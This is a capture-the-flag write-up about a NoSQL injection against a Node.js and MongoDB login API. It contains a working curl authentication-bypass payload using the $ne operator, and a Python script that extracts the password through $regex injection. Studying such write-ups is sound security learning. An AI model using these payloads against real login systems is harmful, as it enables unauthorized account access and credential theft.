Tags: python regex-injection mongodb mongoose nosql nodejs 

Rating: 5.0

# Abstract
For the detailed version see the [Github page](https://github.com/KamilPacanek/writeups/blob/master/ctf/HTB.CA2021/wildgoosehunt.md).

## ToE
We are given the IP with a port and web application source code dump.

## Recon
Initial scan with `nmap` shows the website is running on `Node.js`. Further exploring the web application code reveals straight away that MongoDB is in use with `mongoose` library. Application exposing single API path `/api/login`. This is our point of entry, although it is not vulnerable straight away for NoSQL injection, the method used (`Schema.find`) have promising exploits we can use to successfully log in.

## Exploit
Using the NoSQL `$ne` operator requests (`username[$ne]=&password[$ne]=`) against the API we can get the `admin` username.

```
$ curl -d "username%5B%24ne%5D%3D&password%5B%24ne%5D%3D" -v 206.189.121.131:31978/api/login

* Trying 206.189.121.131:31978...
* Connected to 206.189.121.131 (206.189.121.131) port 31978 (#0)
> POST /api/login HTTP/1.1
> Host: 206.189.121.131:31978
> User-Agent: curl/7.74.0
> Accept: */*
> Content-Length: 45
> Content-Type: application/x-www-form-urlencoded
>
* upload completely sent off: 45 out of 45 bytes
* Mark bundle as not supporting multiuse
< HTTP/1.1 200 OK
< X-Powered-By: Express
< Content-Type: application/json; charset=utf-8
< Content-Length: 62
< ETag: W/"3e-BvDyP4u8qgWgGOMxzemBf6QGSBc"
< Date: Fri, 23 Apr 2021 10:41:57 GMT
< Connection: keep-alive
< Keep-Alive: timeout=5
<
* Connection #0 to host 206.189.121.131 left intact
{"logged":1,"message":"Login Successful, welcome back admin."}
```

Now by using NoSQL regex requests we can iteratively find out what the correct password is.

```python
# mongoregexdiscovery.py
# baseline script from 0daylabs

import requests
import string
import json

flag = "CHTB{"
url = "http://206.189.121.131:31978/api/login"

restart = True

while restart:
restart = False

# Characters like *, ., &, and + have to be avoided because we use regex
for i in string.ascii_letters + string.digits + "!@#$%^()@_{}":
payload = flag + i
post_data = {'username': 'admin', 'password[$regex]': payload + ".*"}
r = requests.post(url, data=post_data, allow_redirects=False)

rData = json.loads(r.content)
if rData["logged"] == 1:
#we succesfully logged in
print(payload)
restart = True
flag = payload

# Exit if "}" gives a valid status

if i == "}":
print("\nFlag: " + flag)
exit(0)
break
```

## Solution
> `CHTB{1_th1nk_the_4l1ens_h4ve_n0t_used_m0ng0_b3f0r3}`

Original writeup (https://github.com/KamilPacanek/writeups/blob/master/ctf/HTB.CA2021/wildgoosehunt.md).